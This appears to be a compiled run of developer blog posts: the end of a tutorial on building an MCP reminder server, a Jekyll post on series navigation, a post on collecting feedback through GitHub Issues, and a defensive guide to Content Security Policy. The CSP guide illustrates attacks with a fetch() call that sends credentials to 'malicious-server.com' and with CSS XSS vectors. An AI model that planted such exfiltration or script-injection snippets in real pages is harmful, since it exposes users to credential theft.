1. Build your server: npm run build.
2. Open Inspector npx -y @modelcontextprotocol/inspector node ./build/index.js

Click on connect and you should see the add-reminder tool with the reminderText parameter.

Try calling the add-reminder tool with sample inputs:

Inspector will show the request and response, helping you debug and iterate quickly.

Test with Claude Desktop

We should also test how the tool works with Claude Desktop in a real life scenario. We can follow the doc at Model Context Protocol docs to get started.

Open Claude and go to File->Settings->Developer->Edit config.

Add the following config to claude_desktop_config.json.

{
  "mcpServers": {
    "reminders": {
      "command": "node",
      "args": ["C:\\src\\Github\\reminders\\build\\index.js"] // Use absolute path.
    }
  }
}

Claude options should show reminders.

Under reminders, there should be the add-reminder tool enabled.

Claude will ask you for permission before using the server. During development, use “Allow Once” so that you can check the permission window and updates to it every time.

Use the prompt to see the request and response objects.

Add a reminder from text with date and time

Reminders don’t really work well without specifying when you should be reminded. Our intention here is that we want the LLMs to do the heavy lifting and figure out the reminder time from the user’s text instead of us parsing the original text and getting it. This is where the superpowers of LLMs start to kick in.

Let’s update our add-reminder tool to accept a reminderTime argument in addition to reminderText. This allows the client (or LLM) to extract and provide the time, so your server doesn’t need to parse natural language dates.

First, update the tool registration:

import { z } from "zod";

server.tool(
  "add-reminder",
  "Add a reminder for the user",
  {
    reminderText: z
      .string()
      .describe("Free form text containing the content of the reminder"),
    reminderTime: z
      .string()
      .optional()
      .describe(
        "Contains the date time of the reminder in ISO format if it is specified by the user. Use this field only if a single specific point in time is mentioned in the reminder."
      ),
  },
  async ({ reminderText, reminderTime }, ctx) => {
    // ...
    // Validate and parse reminderTime as ISO 8601
    let parsedTime: Date | null = null;
    try {
      parsedTime = new Date(reminderTime ?? "");
      if (isNaN(parsedTime.getTime())) {
        throw new Error("Invalid date");
      }
    } catch (e) {}
    let response = [
      `Request ID: ${ctx.requestId}`,
      `Your reminder is set.`,
      `Reminder Content: "${reminderText}"`,
      `Reminder Time: ${reminderTime}`,
      `Parsed Time: ${parsedTime}`,
    ];
    return {
      content: [{ type: "text", text: response.join("\n") }],
    };
  }
);

1. Typically for dates you would want to use z.date() but we use z.string() here because MCP clients would not be able to parse Date objects directly. So, we add a string to date parser on our own and then take appropriate action if the date is not parseable.
2. There is an additional optional() decorator in reminderTime to account for the fact that users may not specify a time at all.

Sample prompt

Add a reminder to catch the bus at 5PM tomorrow.

As seen above, the client automagically changes 5PM tomorrow to the correct ISO formatted string. The server, however, should definitely validate the parsed value.

Add a reminder to capture recurrence intent

Many reminders are not one-time events. They repeat on a schedule (e.g., “every Monday at 9am” or “on the 1st of every month”). If you prompt the server with the current code with something like Add a reminder to catch the bus at 5PM everyday you will typically only capture the first instance because ISO date strings do not capture recurrence. To support this, let’s add a recurranceTime parameter to our add-reminder tool. We’ll use the iCalendar (RFC 5545) recurrence rule format, commonly known as “RRULE”, to describe recurrence patterns.

Update your tool registration as follows:

import { z } from "zod";

server.tool(
  "add-reminder",
  "Add a reminder for the user",
  {
    reminderText: z
      .string()
      .describe("Free form text containing the content of the reminder"),
    reminderTime: z
      .string()
      .optional()
      .describe(
        "Contains the date time of the reminder in ISO format if it is specified by the user. Use this field only if a single specific point in time is mentioned in the reminder. For recurring reminders, use recurranceTime."
      ),
    recurranceTime: z
      .string()
      .optional()
      .describe(
        "Contains the date time of the recurring reminder in iCalendar RRULE format if it is specified by the user. Use this field only for recurring reminders or for reminders with more than one point in time. If a single specific point in time is mentioned in the reminder, use reminderTime field."
      ),
  },
  async ({ reminderText, reminderTime, recurranceTime }, ctx) => {
    // Validate reminderTime as before
    let parsedTime: Date | null = null;
    if (reminderTime) {
      try {
        parsedTime = new Date(reminderTime ?? "");
        if (isNaN(parsedTime.getTime())) {
          throw new Error("Invalid date");
        }
      } catch (e) {}
    }

    // Optionally validate RRULE format (basic check)
    let rruleValid = true;
    if (recurranceTime) {
      rruleValid = recurranceTime.startsWith("FREQ="); // TODO Use a library to validate
    }

    let response = [
      `Request ID: ${ctx.requestId}`,
      `Your reminder is set.`,
      `Reminder Content: "${reminderText}"`,
      `Reminder Time: ${reminderTime}`,
      `Parsed Time: ${parsedTime}`,
      `Recurrence Rule: ${recurranceTime || "None"}`,
      `Recurrence Rule Valid: ${rruleValid}`,
    ];
    return {
      content: [{ type: "text", text: response.join("\n") }],
    };
  }
);

1. recurranceTime is also optional().
2. rruleValid = recurranceTime.startsWith("FREQ=") is just a placeholder. Use a library to validate RRULE.
3. Description of reminderTime and recurranceTime have been updated to let the client know when to use what.

Sample prompt

Add a reminder to catch the bus at 5PM everyday.

Now instead of passing the date in reminderTime, you should get a value like FREQ=DAILY;BYHOUR=17;BYMINUTE=0 (every day at 5PM) in recurranceTime.

Congratulations, you have a functional MCP server.

Learnings

1. Use Structured Inputs. Define clear, typed input schemas for each tool. Avoid free-form text when possible.
2. Validate and Normalize Inputs. Ensure your server validates and normalizes inputs. For example, parse and check date/time formats.
3. Expect mistakes from the client. Add proper defenses for incorrect inputs and workflows.
4. Use optional fields to eliminate the client force fitting values.
5. Document your tool descriptions and argument schemas well for best client compatibility.
6. Use MCP Inspector and other tools to debug and iterate quickly.

This site is built using GitHub Pages with a Jekyll template. I wanted to write blog posts related to a specific topic under a series header. I also wanted to implement “Next” and “Previous” navigation for a more immersive reading experience. Liquid front matter allows us to achieve this nicely in Jekyll.

Overall Idea

The way I’ve currently implemented this is by having a master data file for series metadata. Then, using Jekyll front matter, we can annotate posts with series IDs and use Liquid expressions to filter articles when displaying related posts.

Setting up the Series Metadata

Jekyll supports data files that are available as built-in variables, allowing you to have virtually any valid data structure. So, we can do this:

1. Add a file named series.yml in your _data folder.
2. I use a simple setup like this:

     name: Series 1
     description: Description of Series 1
     id: SERIES_ID_1
   

3. This data is now accessible on all pages as site.data.series, which is an array of objects.

Attaching Posts to a Series

Once the series data is populated, we need to specify which posts belong to which series.

1. Let’s say series-1-part-1.md and series-1-part-2.md are Parts 1 and 2 of Series 1 with the ID SERIES_ID_1.
2. I use this syntax in the front matter of the posts:

   series:
     id: SERIES_ID_1 # --- ID of the series from _data/series.yml
     index: 1 # --- Index of the post in the series
   

   series:
     id: SERIES_ID_1 # --- ID of the series from _data/series.yml
     index: 2 # --- Index of the post in the series
   

   The property series in the YAML above is not a reserved keyword. It’s simply a string that we will use for matching later.

Showing the Posts in Series Form on the Homepage

Now that we have created the series metadata and tagged the posts with the series information, we can start grouping them together. If you visit https://srungta.github.io/ (this blog’s homepage), you should see a list of posts grouped by series titles. At the time of writing, the UI looks like this: 👇

1. In your home.html, you can add the following:

   { %- if site.data.series.size > 0 - % }
     <section>
       { %- for series in site.data.series - % }
         { %- include series-details.html item=series - % }
       { %- endfor - % }
     </section>
   { %- endif - % }
   

   • Here, site.data.series.size > 0 is a sanity check to ensure rendering only occurs when there is more than one series defined.
   • { %- for series in site.data.series - % } iterates over the array of series objects in your data file.
   • { %- include series-details.html item=series - % } passes the current series object from the loop to a layout file called series-details.html.
2. In series-details.html, you now have access to the metadata of a single series through the include object. We can first display the details of the series itself for context:

   <b>{ { include.item.name | escape } }</b> <!-- Name of series -->
   <p>{ { include.item.description } }</p> <!-- Name of series -->
   

   The include.item allows us to access the data passed to this layout in step 2.1. Now, let’s display the list of posts within the series:

   { %- assign seriesposts = site.posts | where: 'series.id', include.item.id | sort: 'series.index' - % }
   { %- if seriesposts.size > 0 - % }
   <ol>
     { %- for post in seriesposts - % }
     <li>
       <a href="{ { post.url | relative_url } }">"{ { post.title | escape } }"</a>
       { %- if post.tldr - % }
         <span class="sd-tldr">{ { post.tldr } }</span>
       { %- endif - % }
     </li>
     { %- endfor - % }
   </ol>
   { %- endif - % }
   

   • assign seriesposts = site.posts | where: 'series.id', include.item.id | sort: 'series.index' is the core of the filtering logic. It selects all site.posts where the series.id (defined in the post’s front matter) matches the include.item.id (the ID from _data/series.yml). Then, it sorts these posts based on the series.index (also defined in the post’s front matter).
   • The rest of the code iterates through the filtered and sorted seriesposts to display their details.
   • You can access any property defined in the front matter of your posts, such as post.tldr, post.url, or any other custom property you might have.

Showing the Previous and Next Links on the Post Page

If you look at the top and bottom of a post, you should see something like this: 👇

and

1. First, we need to determine the previous and next posts for the current post. You can add the following code within your _layouts\post.html:

   <!-- Back link to previous post in the series -->
   <!-- Check if this post is a part of a series. -->
   { %- if page.series - % }
     <!-- Collect all posts in this series -->
     { %- assign seriesposts = site.posts | where: 'series.id', page.series.id | sort: 'series.index' - % }
   
     { %- assign previouspostindex = page.series.index | minus: 1 - % }
     <!-- If there are more than one post -->
     { %- if seriesposts.size > 1 && previouspostindex > 0 - % }
     <!-- Find the post with index greater than this page-->
       { %- assign previousposts = seriesposts | where: 'series.index' ,previouspostindex - % }
       <!-- If a previous post is found, show a link -->
       { %- if previousposts.size > 0 - % }
         { %- assign previouspost = previousposts | first - % }
       { %- endif - % }
     { %- endif - % }
   
     { %- assign nextpostindex = page.series.index | plus: 1 - % }
     <!-- If there are more than one post -->
     { %- if seriesposts.size > 1 && nextpostindex > 0 - % }
       <!-- Find the post with index greater than this page-->
       { %- assign nextposts = seriesposts | where: 'series.index' ,nextpostindex - % }
       <!-- If a next post is found, show a link -->
       { %- if nextposts.size > 0 - % }
         { %- assign nextpost = nextposts | first - % }
       { %- endif - % }
     { %- endif - % }
   { %- endif - % }
   

2. Now, within your post.html layout, you can use the previouspost and nextpost variables to display the links:

      <!-- Backlink to previous post in the series -->
   { %- if previouspost - % }
   <div class="p-previous">
     <a href="{ { previouspost.url } }">&#x25c0; Previously, { { previouspost.title } }</a>
   </div>
   { %- endif - % }
   

   And at the end of your post.html:

   { %- if page.series and nextpost - % }
   <div class="p-next">
     <a href="{ { nextpost.url } }">Next up, { { nextpost.title } }} &#x2192</a>
   </div>
   { %- endif - % }
   

Pros and Cons of This Approach

1. ✅ PRO: Series posts are automatically linked simply by setting the front matter.
2. ✅ PRO: Adding a new series is straightforward; just add an entry to _data\series.yml.
3. ✅ PRO: Series with no associated posts will not appear on the homepage.
4. ✅ PRO: The first post in a series will not have a “Previous” link, and the last post will not have a “Next” link.
5. ❌ CON: Ensuring the index of posts within a series is correctly ordered requires manual effort.

Conclusion

Managing and displaying posts within a series in Jekyll is quite manageable through the use of front matter and Liquid expressions.

This site is built using Github Pages with a Jekyll template. Being a static site generator, Jekyll does not have an inbuilt way to get feedback. Typically you would show the users a form to fill feedback and then write a service that collects and saves this feedback. Later you would build a portal to see all these feedback items and categorize and track them. Or you would use a pre-built package/service to do this for you. Instead I felt like using Github issues is a good candidate for collecting this feedback.

Why Use GitHub Issues for Feedback?

I wanted to collect feedback on the posts on this website but did not want to integrate any external products. GitHub Issues provide a centralized and structured way to collect feedback for me. Also, having feedback on GitHub allows labeling and associating them with pull requests.

Pros

• Ease of use: Readers can provide feedback with just a few clicks.
• Centralized tracking: All feedback is stored in one place on GitHub.
• Actionable insights: Use GitHub’s features like labels, milestones, and assignees to manage feedback effectively.

Cons

• Github Login: Readers needs a Github account to comment.

How to Integrate GitHub Issues?

How Does It Look?

Below this post, you will see a link to give feedback. It should look something like this:

On clicking the feedback button, you should be navigated to Github and see a screen like below 👇

Breaking Down the Feedback Link

GitHub provides a URL to create a new issue with prefilled values directly.
For example, the GitHub URL for this page is here

Breaking down the URL:

Adding It to Each Post

The main trick is to create the GitHub link. Everything else is regular Markdown and HTML.

1. I have a unique_id added to the front matter of each post. This can be accessed as page.unique_id.
2. Jekyll already lets you access page.url.
   This site already uses a feedback button that links to GitHub Issues. Here’s how it works:
3. So my URL becomes:
   https://github.com/srungta/srungta.github.io/issues/new?labels=feedback&title=&body=PageUrl-/blog/jekyll/getting-feedback-via-github-issue___PageId-JEKYLL01

   Feel free to edit the body as per your needs.

4. Add a feedback button to your posts using the following HTML snippet:

<div class="gh-feedback">
  <a href="::Link from step 3::">
    <button class="gh-feedback-button">❣ Give feedback about this post</button>
  </a>
</div>

1. Bonus: You can move this HTML to _layout/github-feedback.html and add { %- include github-feedback.html - % } in your post.html layout page.

Conclusion

Integrating GitHub Issues into your Jekyll site is a simple yet powerful way to collect and manage user feedback, without a service overhead.

Content Security Policy (CSP) is essentially a header that your server sends to the frontend. The header value tells the browser what exactly it should allow to run. Anything that violates the CSP policy is blocked implicitly by the browser. It is very simple and super powerful.

Block Everything Because Someone Will Find a Way to Exploit It

Inevitably, if you leave a surface open, someone will exploit it. Why take unnecessary risks? Simply block whatever you do not recognize.

Block All JavaScript

JavaScript is the most problematic of all. Atackers will try to run their malicious code on your site and try to harm your users. Just this simple configuration will block a lot of reflected and stored XSS attacks.

Block All CSS

CSS looks innocent as it is used for styling, but it can also be exploited.
For example: <DIV STYLE="width: expression(alert('XSS'));"> or <DIV STYLE="background-image: url(javascript:alert('XSS'))"> can cause the browser to run unexpected JavaScript.
Solution? Block what you don’t recognize.

Block All Images

Images can also be a source of security risks, especially if they are loaded from untrusted domains. Attackers can use image URLs to exfiltrate data or execute malicious code. Or simply link to an image that is multiple GBs in size.

Block All API Calls

APIs are often used to fetch sensitive data. Restricting API calls ensures that only trusted endpoints are accessed. Attackers try to inject JavaScript into your website and make calls to their endpoints to exfiltrate sensitive information. This header blocks such attempts.

Example Scenario:
Imagine a malicious actor injects a script into your website that sends user credentials to an external server. For instance, the attacker could use the following script:

fetch("https://malicious-server.com/steal-data", {
  method: "POST",
  body: JSON.stringify({ username: "user123", password: "password123" }),
});

If your CSP includes a directive like connect-src: 'self', the browser will block this request because the domain https://malicious-server.com is not allowed. This prevents the attacker from successfully exfiltrating the data. By restricting API calls to trusted domains, you significantly reduce the risk of data theft and unauthorized access.

Block All Fonts

Fonts can be exploited to load malicious content or track users. An attacker could inject CSS that attempts to load extremely large font files from external, potentially slow, or unavailable servers. They can define a series of custom font families where each “glyph” in the font corresponds to a specific piece of information (e.g., different characters in a secret). Then, through carefully crafted CSS selectors and properties (like content), they can dynamically apply these “data-encoded” fonts based on the content of specific elements on the page. When the browser renders the text with the attacker’s font, it effectively transmits the data as font glyphs.

Block All Objects

The object-src directive controls the sources from which <object>, <embed>, and <applet> elements can load content. These elements can be exploited to load malicious content or execute harmful scripts. For example, an attacker could embed a malicious Flash file or other object that exploits vulnerabilities in the user’s browser or plugins.

By using object-src: 'none', you can eliminate the risk of malicious objects being loaded on your website. This is especially important as plugins like Flash are deprecated and pose significant security risks.

Block All Form Actions

Forms can be used to submit sensitive data. Restricting form actions ensures data is only sent to trusted endpoints.
An attacker can create a malicious HTML page on a completely different domain. This page can contain a <form> that is crafted to mimic a legitimate form on your website. The action attribute of this malicious form will point to a sensitive endpoint on your website (e.g., changing a user’s email, transferring funds, or modifying settings). If the user is logged into your website at the time, the malicious form submission will be executed with their credentials, potentially leading to unauthorized actions and data theft.

If your forms submit sensitive data (even if over HTTPS), and you don’t restrict the submission targets with form-action, an attacker could potentially trick users into submitting this data to a domain they control.

Block Rendering in iframes

iframes can be exploited for clickjacking attacks or to load malicious content. For example, imagine a user logged into their online banking portal. An attacker creates a malicious website with a deceptive button labeled “Win a Free Prize!”. Behind this button, the attacker embeds the user’s banking portal in an <iframe> and carefully aligns the “Transfer Funds” button from the banking site directly beneath the “Win a Free Prize!” button. The <iframe> is styled to be mostly transparent, making it invisible to the user. When the user, unaware of the hidden <iframe>, clicks the “Win a Free Prize!” button, they inadvertently trigger the “Transfer Funds” action on their bank’s website. This could result in unauthorized transactions, transferring money to the attacker.
Blocking or restricting iframe usage with CSP can prevent such attacks by ensuring your website cannot be embedded in untrusted domains.

Where/How to add CSP?

CSP is implemented using the Content-Security-Policy HTTP header or a <meta> tag in your HTML. For example:

Content-Security-Policy: script-src 'self' https://trusted.cdn.com; style-src 'self';

If you cannot set HTTP headers, you can use a <meta> tag in your HTML to define the CSP. Here’s an example:

<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self';"
/>

This approach is less secure than using HTTP headers because it can be modified by attackers if they gain control of your HTML. Use it only as a fallback.

Using Nonces with CSP

There is a detailed post about nonces at this link

Nonces are unique, cryptographically secure tokens generated for each HTTP response. They are used to mark inline scripts and styles as trusted. Here’s how it works:

• The server generates a unique nonce for each page load.
• The nonce is included in the Content-Security-Policy header:

Content-Security-Policy: script-src 'nonce-abc123';

• Inline scripts include the nonce as an attribute:

<script nonce="abc123">
  console.log("This script is trusted.");
</script>

• The browser executes only scripts with the correct nonce.

Best Practices for Implementing CSP

• Generally avoid 'unsafe-inline', because it defeats much of the purpose of having a CSP.
• 'unsafe-hashes' value is also unsafe. However, 'unsafe-hashes' is much safer than 'unsafe-inline'.
• Triple-check what domains you allow in any of the CSPs. IF you are doubtful, remove instead of adding the domain.
• Start with a Report-Only Mode: Use the Content-Security-Policy-Report-Only header to test your policy without blocking content.
• Use Nonces or Hashes: Avoid the 'unsafe-inline' directive, and use nonces or hashes to allow trusted inline scripts and styles.
• Monitor Violations: Set up a reporting endpoint to collect CSP violation reports and refine your policy.

Example CSP Header

Here’s an example of a robust CSP header: ✅ Good CSP

Content-Security-Policy:
   script-src 'strict-dynamic' 'nonce-rAnd0m123' 'unsafe-inline' http: https:;
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
report-uri https://csp.example.com;

❌ Bad CSP

Content-Security-Policy:
script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js  https://*.gstatic.com/feedback/ https://ajax.googleapis.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com;
default-src 'self' * 127.0.0.1 https://[2a00:79e0:1b:2:b466:5fd9:dc72:f00e]/foobar;
img-src https: data:;
child-src data:;
foobar-src 'foobar';
report-uri http://csp.example.com;

Conclusion

Content Security Policy is a critical tool for securing modern web applications. By carefully defining and enforcing a CSP, you can protect your users and your application from a wide range of attacks. Start small, monitor violations, and refine your policy to achieve a balance between security and functionality.